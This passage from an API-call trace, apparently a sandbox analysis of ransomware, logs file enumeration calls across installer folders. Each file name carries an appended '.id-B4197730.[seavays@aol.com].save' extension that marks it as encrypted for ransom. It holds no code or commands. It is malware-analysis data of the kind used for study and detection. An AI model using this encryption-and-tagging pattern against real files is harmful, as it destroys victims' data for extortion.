lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0159.198] FindNextFileW (in: hFindFile=0x4531900, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e76d99, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e76d99, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e76d99, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Parameterinfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0159.198] FindNextFileW (in: hFindFile=0x4531900, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e9f1e6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e9f1e6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e9f1e6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 1 [0159.198] FindNextFileW (in: hFindFile=0x4531900, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e9f1e6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e9f1e6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e9f1e6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 0 [0159.200] FindClose (in: hFindFile=0x4531900 | out: hFindFile=0x4531900) returned 1 [0159.201] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0159.201] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8ec31ea, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8ec31ea, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x96a8dbe, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DHTMLH~1.SAV")) returned 1 [0159.201] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e5f03d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e5f03d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e850f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DISPLA~1.SAV")) returned 1 [0159.201] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0159.201] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0159.201] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x4532440 [0159.202] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0159.202] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x912574a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x912574a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x914bbf2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Parameterinfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0159.202] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x914bbf2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x914bbf2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9171b9f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 1 [0159.204] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x914bbf2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x914bbf2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9171b9f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 0 [0159.204] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0159.211] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0159.211] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0159.211] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0159.211] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0159.215] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0159.216] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e850f9, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e850f9, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e850f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Print.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PRINTI~1.SAV")) returned 1 [0159.216] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7eab335, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7eab335, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Rotate1.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~1.SAV")) returned 1 [0159.217] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f4403b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f4403b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f69e9c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Rotate2.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~2.SAV")) returned 1 [0159.217] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f69e9c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f69e9c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f69e9c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Rotate3.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~3.SAV")) returned 1 [0159.217] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f90157, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f90157, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Rotate4.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~4.SAV")) returned 1 [0159.217] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f90157, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f90157, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8454d86, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Rotate5.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO6564~1.SAV")) returned 1 [0159.217] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fb63cc, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fb63cc, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fb63cc, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Rotate6.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO9CC7~1.SAV")) returned 1 [0159.217] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fb63cc, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fb63cc, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fb63cc, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Rotate7.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO116F~1.SAV")) returned 1 [0159.217] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fdc649, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fdc649, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fdc649, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Rotate8.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO9FCF~1.SAV")) returned 1 [0159.217] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fdc649, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fdc649, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fdc649, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Save.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SAVEIC~1.SAV")) returned 1 [0159.218] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82d762f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="Setup.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPI~1.SAV")) returned 1 [0159.218] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82d762f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82d762f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82fd6f7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="stop.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="STOPIC~1.SAV")) returned 1 [0159.218] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82fd6f7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82fd6f7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82fd6f7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SysReqMet.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SYSREQ~1.SAV")) returned 1 [0159.218] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x880e8ea, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SysReqNotMet.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SYSREQ~2.SAV")) returned 1 [0159.218] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="warn.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WARNIC~1.SAV")) returned 1 [0159.218] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="warn.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WARNIC~1.SAV")) returned 0 [0159.218] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0159.220] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0159.220] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x92c91b3, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x92c91b3, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x92c91b3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[seavays@aol.com].save", cAlternateFileName="HEADER~1.SAV")) returned 1 [0159.221] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xb6d9e4d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~1.SAV")) returned 1 [0159.221] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x97db9cb, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~2.SAV")) returned 1 [0159.221] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x84c7664, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x84c7664, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x89fe5d9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~3.SAV")) returned 1 [0159.224] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xbb97cbd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~4.SAV")) returned 1 [0159.224] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8abdf43, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8abdf43, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b0990b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NE6FA1~1.SAV")) returned 1 [0159.224] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9361c02, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9361c02, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x99685ec, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NE2CD2~1.SAV")) returned 1 [0159.224] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x927cc87, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x927cc87, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x92a2ea5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0159.224] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x97db9cb, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x97db9cb, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x98004f5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RGB9RA~1.SAV")) returned 1 [0159.225] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x98004f5, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x98004f5, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9826619, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RGB9RA~2.SAV")) returned 1 [0159.225] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9826619, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9826619, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9cc4f61, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPE~1.SAV")) returned 1 [0159.225] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x997dba9, ftCreationTime.dwHighDateTime=0x1d5359b, 